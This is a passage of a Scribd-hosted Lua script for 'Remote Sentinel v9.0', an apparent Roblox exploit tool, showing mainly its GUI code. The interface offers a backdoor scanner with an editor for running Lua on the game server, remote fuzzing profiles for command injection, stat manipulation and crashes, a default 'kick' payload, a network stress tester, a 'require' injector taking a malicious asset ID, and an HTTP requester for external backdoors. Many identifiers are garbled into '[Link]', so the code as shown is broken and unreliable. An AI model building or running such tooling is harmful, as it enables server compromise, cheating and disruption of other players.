0% found this document useful (0 votes)
8 views56 pages

Message

The document outlines the initialization and configuration of a GUI framework for a tool called Remote Sentinel, including its setup, dropdown functionality, and serialization methods. It defines various UI components, their properties, and behaviors, such as animations and item selection. The framework is designed to enhance user interaction within a gaming environment, specifically targeting Roblox development.

Uploaded by

rpbollinger11
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
8 views56 pages

Message

The document outlines the initialization and configuration of a GUI framework for a tool called Remote Sentinel, including its setup, dropdown functionality, and serialization methods. It defines various UI components, their properties, and behaviors, such as animations and item selection. The framework is designed to enhance user interaction within a gaming environment, specifically targeting Roblox development.

Uploaded by

rpbollinger11
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

local SentinelWorkspace = getgenv() or {}

if type(SentinelWorkspace) ~= "table" then SentinelWorkspace = {} end


getgenv().SentinelWorkspace = SentinelWorkspace

if [Link] and [Link] and


[Link] and
[Link] then
if [Link] and
[Link] then
[Link]:Log("Instância do Remote Sentinel já
está em execução.", 2)
end
return
end

local find = [Link] or function(t, value)


for i, v in ipairs(t) do
if v == value then return i end
end
return nil
end

local RemoteSentinel = {
Instances = {},
SelectedInstanceData = nil,
Hooks = {},
GUI = {},
IsUISetup = false,
Capabilities = {}
}
[Link] = RemoteSentinel

local CoreGui = game:GetService("CoreGui")


local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Workspace = game:GetService("Workspace")
local LogService = game:GetService("LogService")
local UserInputService = game:GetService("UserInputService")
local HttpService = game:GetService("HttpService")
local InsertService = game:GetService("InsertService")
local Debris = game:GetService("Debris")
local TweenService = game:GetService("TweenService")
local LocalPlayer = [Link]

local Config = {
AppName = "Remote Sentinel v9.0 (FDS - Melhorado com [Link])",
FuzzingDelay = 0.01,
ScanThrottle = 0.001,
SerializerMaxDepth = 10,
MaxLogEntries = 300,
Colors = {
Background = [Link](30, 30, 40),
Primary = [Link](20, 20, 28),
Secondary = [Link](45, 45, 55),
Accent = [Link](110, 90, 230),
TabActive = [Link](85, 65, 165),
Text = [Link](245, 245, 245),
TextSecondary = [Link](200, 200, 220),
Success = [Link](60, 230, 140),
Warning = [Link](255, 180, 90),
Error = [Link](255, 100, 100),
Spy = [Link](0, 230, 255),
Info = [Link](120, 200, 255),
Vulnerable = [Link](250, 60, 60),
Highlight = [Link](255, 255, 140),
}
}

local function create(className, properties)


local obj = [Link](className)
for prop, value in pairs(properties or {}) do
pcall(function() obj[prop] = value end)
end
return obj
end

local function animate(instance, tweenInfo, properties)


return TweenService:Create(instance, tweenInfo, properties)
end

local Dropdown = {}
Dropdown.__index = Dropdown

function [Link](parent, name)


local self = setmetatable({}, Dropdown)

[Link] = create("Frame", {
Name = name,
Size = [Link](1, 0, 0, 30),
BackgroundColor3 = [Link],
ZIndex = 2,
Parent = parent
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent = [Link]})

[Link] = create("TextLabel", {
Name = "SelectedLabel",
Size = [Link](1, -30, 1, 0),
Text = "Select...",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
BackgroundTransparency = 1,
TextXAlignment = [Link],
Position = [Link](0, 10, 0, 0),
Parent = [Link]
})

[Link] = create("TextButton", {
Name = "ToggleButton",
Size = [Link](0, 30, 1, 0),
Position = [Link](1, -30, 0, 0),
Text = "▼",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
BackgroundTransparency = 1,
Parent = [Link]
})

[Link] = create("ScrollingFrame", {
Name = "ItemsFrame",
Size = [Link](1, 0, 0, 0),
Position = [Link](0, 0, 1, 5),
BackgroundColor3 = [Link],
BorderSizePixel = 0,
Visible = false,
ClipsDescendants = true,
ZIndex = 3,
Parent = [Link]
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent = [Link]})
create("UIListLayout", {
SortOrder = [Link],
Padding = [Link](0, 2),
Parent = [Link]
})

[Link] = {}
[Link] = 0
[Link] = false
[Link] = [Link](1, 0, 0, 150)

[Link].MouseButton1Click:Connect(function()
[Link] = not [Link]
[Link] = [Link] and "▲" or "▼"

if [Link] then
[Link] = true
local openTween = animate([Link], [Link](0.2,
[Link], [Link]), {Size = [Link]})
openTween:Play()
else
local closeTween = animate([Link], [Link](0.2,
[Link], [Link]), {Size = [Link](1, 0, 0, 0)})
[Link]:Connect(function()
if not [Link] then
[Link] = false
end
end)
closeTween:Play()
end
end)

local function closeDropdownOnClickOutside(input)


if [Link] == [Link].MouseButton1 or
[Link] == [Link] then
if not [Link] then return end

local mousePos = UserInputService:GetMouseLocation()


local guiObjects =
[Link]:GetRootAncestor():GetGuiObjectsAtPosition(mousePos.X, mousePos.Y)
local isClickOnDropdown = false
for _, obj in ipairs(guiObjects) do
if obj:IsDescendantOf([Link]) then
isClickOnDropdown = true
break
end
end

if not isClickOnDropdown and [Link] then


[Link] = false
[Link] = "▼"
local closeTween = animate([Link], [Link](0.2,
[Link], [Link]), {Size = [Link](1, 0, 0, 0)})
[Link]:Connect(function() [Link] =
false end)
closeTween:Play()
end
end
end
[Link]:Connect(closeDropdownOnClickOutside)

return self
end

function Dropdown:SetItems(items)
for _, v in ipairs([Link]:GetChildren()) do
if v:IsA("TextButton") then v:Destroy() end
end

[Link] = items or {}

for index, text in ipairs([Link]) do


local item = create("TextButton", {
Name = text,
Text = text,
Size = [Link](1, 0, 0, 25),
BackgroundColor3 = [Link],
TextColor3 = [Link],
Font = [Link],
TextSize = 14,
LayoutOrder = index,
Parent = [Link]
})

[Link]:Connect(function() item.BackgroundColor3 =
[Link] end)
[Link]:Connect(function() item.BackgroundColor3 =
[Link] end)

item.MouseButton1Click:Connect(function()
[Link] = text
[Link] = index
[Link] = false
[Link] = "▼"
local closeTween = animate([Link], [Link](0.2,
[Link], [Link]), {Size = [Link](1, 0, 0, 0)})
[Link]:Connect(function() [Link] = false
end)
closeTween:Play()
if [Link] then
pcall([Link], text, index)
end
end)
end
local listLayout = [Link]:FindFirstChildOfClass("UIListLayout")
local numItems = #[Link]
local listPadding = listLayout and [Link] or 0
local totalHeight = (numItems * 25) + ([Link](0, numItems - 1) * listPadding)
[Link] = [Link](1, 0, 0, [Link](totalHeight, 150))
[Link] = [Link](0, 0, 0, totalHeight)

if numItems > 0 then


[Link] = [Link][1]
[Link] = 1
else
[Link] = "Nenhum item"
[Link] = 0
end
end

[Link] = { _seenTables = {} }
function [Link]:Serialize(value, depth)
depth = depth or 0
if depth > [Link] then return '"[... (max depth)]"' end

local valueType = typeof(value)

if value == nil then return "nil"


elseif valueType == "string" then return [Link]("%q", value)
elseif valueType == "number" or valueType == "boolean" then return
tostring(value)
elseif valueType == "Instance" then
return [Link]('Instance<%s> "%s"', [Link],
value:GetFullName())
elseif valueType == "CFrame" then return "[Link](" ..
tostring(value):gsub(" ", ", ") .. ")"
elseif valueType == "Vector3" then return "[Link](" .. tostring(value) ..
")"
elseif valueType == "Vector2" then return "[Link](" .. tostring(value) ..
")"
elseif valueType == "UDim2" then return [Link]("[Link](%s, %s, %s,
%s)", [Link], [Link], [Link], [Link])
elseif valueType == "Color3" then return [Link]("[Link](%d, %d,
%d)", [Link](value.R * 255), [Link](value.G * 255), [Link](value.B *
255))
elseif valueType == "EnumItem" then return "Enum." ..
tostring([Link]) .. "." .. [Link]
elseif valueType == "table" then
if self._seenTables[value] then return '"[cyclic_table]"' end
self._seenTables[value] = true
local parts = {}
local isArray = #value > 0
for k, v in pairs(value) do
local keyStr = not isArray and ((typeof(k) == "string" and
k:match("^[a-zA-Z_][a-zA-Z0-9_]*$")) and k or "[" .. self:Serialize(k, depth +
1) .. "]") .. " = " or ""
[Link](parts, keyStr .. self:Serialize(v, depth + 1))
end
self._seenTables[value] = nil
return "{" .. [Link](parts, ", ") .. "}"
else
return [Link]('"%s"', tostring(value))
end
end

[Link] = {}
function [Link]:Create()
if CoreGui:FindFirstChild("RemoteSentinelGUI_v9") then
CoreGui.RemoteSentinelGUI_v9:Destroy() end

local screenGui = create("ScreenGui", {


Name = "RemoteSentinelGUI_v9",
Parent = CoreGui,
ResetOnSpawn = false,
ZIndexBehavior = [Link]
})
[Link] = screenGui

local mainFrame = create("Frame", {


Name = "MainFrame",
Size = [Link](0, 1200, 0, 800),
Position = [Link](0.5, -600, 0.5, -400),
BackgroundColor3 = [Link],
BorderColor3 = [Link],
BorderSizePixel = 2,
Active = true,
Draggable = true,
ClipsDescendants = true,
Parent = screenGui
})
create("UICorner", { CornerRadius = [Link](0, 16), Parent = mainFrame })
[Link] = mainFrame

local titleBar = create("Frame", {


Name = "TitleBar",
Size = [Link](1, 0, 0, 30),
BackgroundColor3 = [Link],
Parent = mainFrame
})
create("TextLabel", {
Name = "TitleLabel",
Size = [Link](1, -30, 1, 0),
Text = [Link],
Font = [Link],
TextColor3 = [Link],
TextSize = 16,
BackgroundTransparency = 1,
TextXAlignment = [Link],
Position = [Link](0, 10, 0, 0),
Parent = titleBar
})

local closeButton = create("TextButton", {


Name = "CloseButton",
Size = [Link](0, 30, 1, 0),
Position = [Link](1, -30, 0, 0),
Text = "X",
Font = [Link],
TextSize = 20,
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = titleBar
})
closeButton.MouseButton1Click:Connect(function()
local exitTween = animate(mainFrame, [Link](0.3,
[Link], [Link]), {Size = [Link](0,0,0,0),
Position = [Link](0.5,0,0.5,0)})
[Link]:Connect(function()
[Link] = false
screenGui:Destroy()
end)
exitTween:Play()
end)

local tabFrame = create("Frame", {


Name = "TabFrame",
Size = [Link](1, 0, 0, 30),
Position = [Link](0, 0, 0, 32),
BackgroundTransparency = 1,
Parent = mainFrame
})
create("UIListLayout", {
FillDirection = [Link],
Padding = [Link](0, 5),
HorizontalAlignment = [Link],
Parent = tabFrame
})
[Link] = tabFrame

local contentFrame = create("Frame", {


Name = "ContentFrame",
Size = [Link](1, -10, 1, -102),
Position = [Link](0, 5, 0, 67),
BackgroundColor3 = [Link],
BackgroundTransparency = 1,
ClipsDescendants = true,
Parent = mainFrame
})
create("UICorner", { CornerRadius = [Link](0, 12), Parent = contentFrame })
create("UIPadding", {
PaddingTop = [Link](0, 10),
PaddingBottom = [Link](0, 10),
PaddingLeft = [Link](0, 10),
PaddingRight = [Link](0, 10),
Parent = contentFrame
})
[Link] = contentFrame

local statusBar = create("Frame", {


Name = "StatusBar",
Size = [Link](1, 0, 0, 25),
Position = [Link](0, 0, 1, -25),
BackgroundColor3 = [Link],
Parent = mainFrame
})
[Link] = create("TextLabel", {
Name = "StatusLabel",
Size = [Link](1, -10, 1, 0),
Position = [Link](0, 5, 0, 0),
BackgroundTransparency = 1,
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
TextXAlignment = [Link],
Parent = statusBar
})

[Link] = [Link](0,0,0,0)
[Link] = [Link](0.5,0,0.5,0)
local entryTween = animate(mainFrame, [Link](0.4,
[Link], [Link]), {
Size = [Link](0, 1200, 0, 800),
Position = [Link](0.5, -600, 0.5, -400)
})
entryTween:Play()

[Link] = true
end

function [Link]:CreateTab(name)
local tabButton = create("TextButton", {
Name = name .. "Tab",
Text = name,
Font = [Link],
TextSize = 14,
BackgroundColor3 = [Link],
TextColor3 = [Link],
AutoButtonColor = false,
Size = [Link](0, 120, 1, 0),
Parent = [Link]
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent = tabButton })

local tabContent = create("Frame", {


Name = name .. "Content",
Size = [Link](1, 0, 1, 0),
BackgroundTransparency = 1,
Parent = [Link],
Visible = false
})

tabButton.MouseButton1Click:Connect(function()
for _, child in ipairs([Link]:GetChildren()) do
if child:IsA("Frame") and [Link] then
[Link] = false
end
end
for _, child in ipairs([Link]:GetChildren()) do
if child:IsA("TextButton") then
local colorTween = animate(child, [Link](0.2),
{ BackgroundColor3 = [Link] })
colorTween:Play()
end
end

[Link] = true
local activeColorTween = animate(tabButton, [Link](0.2),
{ BackgroundColor3 = [Link] })
activeColorTween:Play()
for _, child in ipairs(tabContent:GetChildren()) do
if child:IsA("Frame") or child:IsA("TextBox") or child:IsA("TextLabel")
or child:IsA("TextButton") or child:IsA("ScrollingFrame") then
[Link] = [Link] + [Link](0, 20, 0, 0)
if child:FindFirstChildOfClass("UIGradient") then
child:FindFirstChildOfClass("UIGradient"):Destroy() end
local gradient = create("UIGradient", {
Color = [Link]([Link](1,1,1),
[Link](1,1,1)),
Transparency =
[Link]({[Link](0,1),
[Link](0.5,0), [Link](1,1)}),
Rotation = -90,
Parent = child
})

local fadeIn = animate(child, [Link](0.3,


[Link], [Link]), {Position = [Link] -
[Link](0, 20, 0, 0)})
fadeIn:Play()
Debris:AddItem(gradient, 0.6)
end
end
end)

return tabContent
end

function [Link]:SetupMainTab(tab)
local listColumn = create("Frame", {
Name = "ListColumn",
Size = [Link](0.4, 0, 1, 0),
BackgroundTransparency = 1,
Parent = tab
})

[Link] = create("TextBox", {
Name = "FilterInput",
Size = [Link](1, -10, 0, 30),
Position = [Link](0, 5, 0, 5),
BackgroundColor3 = [Link],
TextColor3 = [Link],
Font = [Link],
TextSize = 14,
PlaceholderText = "Filtrar por nome ou caminho...",
ClearTextOnFocus = false,
Parent = listColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })

[Link] = create("ScrollingFrame", {
Name = "RemoteListFrame",
Size = [Link](1, -10, 1, -85),
Position = [Link](0, 5, 0, 40),
BackgroundColor3 = [Link],
BorderColor3 = [Link],
CanvasSize = [Link](0, 0, 0, 0),
Parent = listColumn
})
create("UIListLayout", {
Name = "Layout",
Padding = [Link](0, 5),
SortOrder = [Link],
Parent = [Link]
})

local listActionsFrame = create("Frame", {


Name = "ListActionsFrame",
Size = [Link](1, -10, 0, 35),
Position = [Link](0, 5, 1, -40),
BackgroundTransparency = 1,
Parent = listColumn
})
create("UIListLayout", {
FillDirection = [Link],
HorizontalAlignment = [Link],
VerticalAlignment = [Link],
Padding = [Link](0, 5),
Parent = listActionsFrame
})

[Link] = create("TextButton", {
Name = "RefreshButton",
Size = [Link](1, 0, 1, 0),
BackgroundColor3 = [Link],
Font = [Link],
Text = "Scan All Remotes",
TextColor3 = [Link](1, 1, 1),
TextSize = 14,
Parent = listActionsFrame
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent = [Link]
})

local rightColumn = create("Frame", {


Name = "RightColumn",
Size = [Link](0.6, 0, 1, 0),
Position = [Link](0.4, 0, 0, 0),
BackgroundTransparency = 1,
Parent = tab
})

[Link] = create("Frame", {
Name = "DetailFrame",
Size = [Link](1, -10, 0, 150),
Position = [Link](0, 5, 0, 5),
BackgroundColor3 = [Link],
Parent = rightColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })
create("UIPadding", {
PaddingTop = [Link](0, 5),
PaddingLeft = [Link](0, 5),
PaddingRight = [Link](0, 5),
PaddingBottom = [Link](0, 5),
Parent = [Link]
})
create("UIListLayout", {
Name = "DetailLayout",
Padding = [Link](0, 3),
Parent = [Link]
})
create("TextLabel", {
Name = "TitleLabel",
Text = "Details Panel",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
BackgroundTransparency = 1,
Parent = [Link]
})

[Link] = create("ScrollingFrame", {
Name = "LogFrame",
Size = [Link](1, -10, 1, -165),
Position = [Link](0, 5, 0, 160),
BackgroundColor3 = [Link],
BorderColor3 = [Link],
CanvasSize = [Link](0, 0, 0, 0),
Parent = rightColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent = [Link] })
[Link] = create("UIListLayout", {
Name = "LogLayout",
Padding = [Link](0, 3),
SortOrder = [Link],
Parent = [Link]
})

local clearLogButton = create("TextButton", {


Name = "ClearLogButton",
Size = [Link](0, 60, 0, 20),
Position = [Link](1, -65, 0, 5),
Text = "Clear",
Font = [Link],
TextSize = 12,
BackgroundColor3 = [Link],
TextColor3 = [Link],
ZIndex = 2,
Parent = [Link]
})
clearLogButton.MouseButton1Click:Connect(function()
local children = [Link]:GetChildren()
for _, v in ipairs(children) do
if v:IsA("TextLabel") then v:Destroy() end
end
end)
create("UICorner", { CornerRadius = [Link](0, 8), Parent = clearLogButton })
end

function [Link]:SetupBackdoorTab(tab)
local leftColumn = create("Frame", {
Name = "LeftBackdoor",
Size = [Link](0.4, -5, 1, 0),
Position = [Link](0, 0, 0, 0),
BackgroundTransparency = 1,
Parent = tab
})

local rightColumn = create("Frame", {


Name = "RightBackdoor",
Size = [Link](0.6, -5, 1, 0),
Position = [Link](0.4, 5, 0, 0),
BackgroundTransparency = 1,
Parent = tab
})

create("TextLabel", {
Text = "Backdoor Scanner & Executor",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})

[Link] = create("TextButton", {
Name = "BackdoorScanButton",
Text = "Start Dynamic Scan",
Size = [Link](1, 0, 0, 35),
Position = [Link](0, 0, 0, 30),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = leftColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })

[Link] = create("TextButton", {
Name = "BackdoorDebugToggle",
Text = "Debug Mode: OFF",
Size = [Link](1, 0, 0, 30),
Position = [Link](0, 0, 0, 70),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link],
Parent = leftColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })

[Link] = create("TextLabel", {
Name = "BackdoorStatusLabel",
Text = "Status: Idle",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 105),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})

create("TextLabel", {
Text = "Found Backdoors:",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 130),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})

[Link] = create("ScrollingFrame", {
Name = "BackdoorResultsList",
Size = [Link](1, 0, 1, -155),
Position = [Link](0, 0, 0, 155),
BackgroundColor3 = [Link],
BorderColor3 = [Link],
Parent = leftColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })
[Link] = create("UIListLayout", {
Padding = [Link](0, 3),
SortOrder = [Link],
Parent = [Link]
})

create("TextLabel", {
Text = "Code Executor",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = rightColumn
})

[Link] = create("TextBox", {
Name = "BackdoorEditor",
Size = [Link](1, 0, 1, -75),
Position = [Link](0, 0, 0, 30),
BackgroundColor3 = [Link](20, 20, 25),
TextColor3 = [Link],
Font = [Link],
TextSize = 14,
Text = 'print("Hello from backdoor!")',
ClearTextOnFocus = false,
MultiLine = true,
TextXAlignment = [Link],
TextYAlignment = [Link],
PlaceholderText = "Enter Lua code to execute on the server...",
Parent = rightColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })

[Link] = create("TextButton", {
Name = "BackdoorExecuteButton",
Size = [Link](1, 0, 0, 35),
Position = [Link](0, 0, 1, -35),
Text = "Execute via Backdoor",
Font = [Link],
TextSize = 16,
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = rightColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })
end

function [Link]:SetupFuzzerTab(tab)
local leftColumn = create("Frame", {
Name = "LeftFuzzer",
Size = [Link](0.5, -5, 1, 0),
Position = [Link](0, 0, 0, 0),
BackgroundTransparency = 1,
Parent = tab
})

local rightColumn = create("Frame", {


Name = "RightFuzzer",
Size = [Link](0.5, -5, 1, 0),
Position = [Link](0.5, 5, 0, 0),
BackgroundTransparency = 1,
Parent = tab
})

create("TextLabel", {
Text = "Fuzzer Configuration",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})

create("TextLabel", {
Text = "Fuzzing Profile:",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 35),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})

[Link] = [Link](leftColumn, "ProfileDropdown")


[Link] = [Link](0, 0, 0, 60)
[Link]:SetItems({"Basic", "Injeção de Comando", "Manipulação de
Stats", "Destrutivo / Crash", "Incompatibilidade de Tipos", "Exploração de
Metatables", "Abuso de Memória e Ambiente", "Custom"})

local togglesFrame = create("Frame", {


Size = [Link](1, 0, 0, 30),
Position = [Link](0, 0, 0, 95),
BackgroundTransparency = 1,
Parent = leftColumn
})
create("UIListLayout", {
FillDirection = [Link],
Padding = [Link](0, 5),
Parent = togglesFrame
})

[Link] = create("TextButton", {
Name = "HeuristicToggle",
Size = [Link](0.5, -2.5, 1, 0),
Text = "Heuristics: OFF",
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link],
Parent = togglesFrame
})

[Link] = create("TextButton", {
Name = "AdaptiveToggle",
Size = [Link](0.5, -2.5, 1, 0),
Text = "Adaptive: OFF",
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link],
Parent = togglesFrame
})

create("UICorner", {CornerRadius = [Link](0, 8), Parent =


[Link]})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})

[Link] = create("TextBox", {
Name = "CustomFuzzInput",
Size = [Link](1, 0, 1, -215),
Position = [Link](0, 0, 0, 135),
BackgroundColor3 = [Link](20, 20, 25),
TextColor3 = [Link],
Font = [Link],
TextSize = 12,
Text = 'return { {[Link]} }',
ClearTextOnFocus = false,
MultiLine = true,
TextXAlignment = [Link],
TextYAlignment = [Link],
PlaceholderText = "Enter Lua code for custom payloads here...",
Parent = leftColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })

[Link] = create("TextButton", {
Name = "FuzzSelectedButton",
Size = [Link](1, 0, 0, 35),
Position = [Link](0, 0, 1, -75),
Text = "Fuzz Selected Remote",
Font = [Link],
TextSize = 16,
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = leftColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })

[Link] = create("TextButton", {
Name = "StressTestButton",
Size = [Link](1, 0, 0, 35),
Position = [Link](0, 0, 1, -35),
Text = "Network Stress Test",
Font = [Link],
TextSize = 16,
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = leftColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })

create("TextLabel", {
Text = "Manual Payload Executor",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = rightColumn
})

[Link] = create("TextBox", {
Name = "ScriptInput",
Size = [Link](1, 0, 1, -40),
Position = [Link](0, 0, 0, 30),
BackgroundColor3 = [Link](20, 20, 25),
TextColor3 = [Link],
Font = [Link],
TextSize = 14,
Text = 'return {"kick", "Player1"}',
ClearTextOnFocus = false,
MultiLine = true,
TextXAlignment = [Link],
TextYAlignment = [Link],
PlaceholderText = "Write Lua code that returns a table of arguments",
Parent = rightColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
[Link] })

[Link] = create("TextButton", {
Name = "ExecuteButton",
Size = [Link](1, 0, 0, 35),
Position = [Link](0, 0, 1, -35),
Text = "Execute Payload on Selected Remote",
Font = [Link],
TextSize = 16,
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = rightColumn
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent = [Link]
})
end

function [Link]:SetupScannerTab(tab)
local leftColumn = create("Frame", {
Name = "LeftScanner",
Size = [Link](0.4, -5, 1, 0),
Position = [Link](0, 0, 0, 0),
BackgroundTransparency = 1,
Parent = tab
})

local rightColumn = create("Frame", {


Name = "RightScanner",
Size = [Link](0.6, -5, 1, 0),
Position = [Link](0.4, 5, 0, 0),
BackgroundTransparency = 1,
Parent = tab
})

create("TextLabel", {
Text = "Vulnerability Scanners",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})

local controlFrame = create("Frame", {


Size = [Link](1, 0, 0, 230),
Position = [Link](0, 0, 0, 30),
BackgroundTransparency = 1,
Parent = leftColumn
})
create("UIListLayout", {
Padding = [Link](0, 5),
Parent = controlFrame
})

[Link] = create("TextButton", {
Name = "ScanBackdoor",
Text = "Scan for Common Backdoors",
Size = [Link](1, 0, 0, 35),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = controlFrame
})

[Link] = create("TextButton", {
Name = "ScanStatic",
Text = "Static Analysis (Client Scripts)",
Size = [Link](1, 0, 0, 35),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = controlFrame
})

[Link] = create("TextButton", {
Name = "ScanAdmin",
Text = "Scan for Common Admin Systems",
Size = [Link](1, 0, 0, 35),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = controlFrame
})

[Link] = create("TextButton", {
Name = "ScanInsecure",
Text = "Scan for Insecure Remote Patterns",
Size = [Link](1, 0, 0, 35),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = controlFrame
})

[Link] = create("TextButton", {
Name = "ScanAntiCheat",
Text = "Scan for Anti-Cheat Patterns",
Size = [Link](1, 0, 0, 35),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = controlFrame
})

create("UICorner", {CornerRadius = [Link](0, 8), Parent =


[Link]})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})

create("TextLabel", {
Text = "Memory & Injection",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 270),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})

[Link] = create("TextButton", {
Name = "MemoryScan",
Text = "Scan Memory for References",
Size = [Link](1, 0, 0, 35),
Position = [Link](0, 0, 0, 295),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = leftColumn
})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})

local requireFrame = create("Frame", {


Size = [Link](1, 0, 0, 100),
Position = [Link](0, 0, 0, 340),
BackgroundTransparency = 1,
Parent = leftColumn
})

create("TextLabel", {
Text = "Insecure 'require' Exploiter",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = requireFrame
})

[Link] = create("TextBox", {
Name = "RequireAssetIdInput",
Text = "",
PlaceholderText = "Malicious Asset ID...",
Size = [Link](1, 0, 0, 30),
Position = [Link](0, 0, 0, 25),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link],
Parent = requireFrame
})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})

[Link] = create("TextButton", {
Name = "InjectRequireButton",
Text = "Attempt require() Injection",
Size = [Link](1, 0, 0, 35),
Position = [Link](0, 0, 0, 60),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = requireFrame
})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})

create("TextLabel", {
Text = "Scan Results / Source Viewer",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = rightColumn
})

[Link] = create("ScrollingFrame", {
Name = "ScanResults",
Size = [Link](1, 0, 1, -30),
Position = [Link](0, 0, 0, 30),
BackgroundColor3 = [Link],
BorderColor3 = [Link],
Parent = rightColumn
})
create("UIListLayout", {
Name = "Layout",
Padding = [Link](0, 2),
Parent = [Link]
})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})
end

function [Link]:SetupNetworkTab(tab)
create("TextLabel", {
Text = "HTTP Requester (for external backdoors)",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, -10, 0, 20),
Position = [Link](0, 5, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = tab
})

local leftColumn = create("Frame", {


Name = "LeftNetwork",
Size = [Link](0.5, -5, 1, -30),
Position = [Link](0, 0, 0, 30),
BackgroundTransparency = 1,
Parent = tab
})

local rightColumn = create("Frame", {


Name = "RightNetwork",
Size = [Link](0.5, -5, 1, -30),
Position = [Link](0.5, 5, 0, 30),
BackgroundTransparency = 1,
Parent = tab
})

create("TextLabel", {
Text = "URL:",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
BackgroundTransparency = 1,
TextXAlignment = [Link],
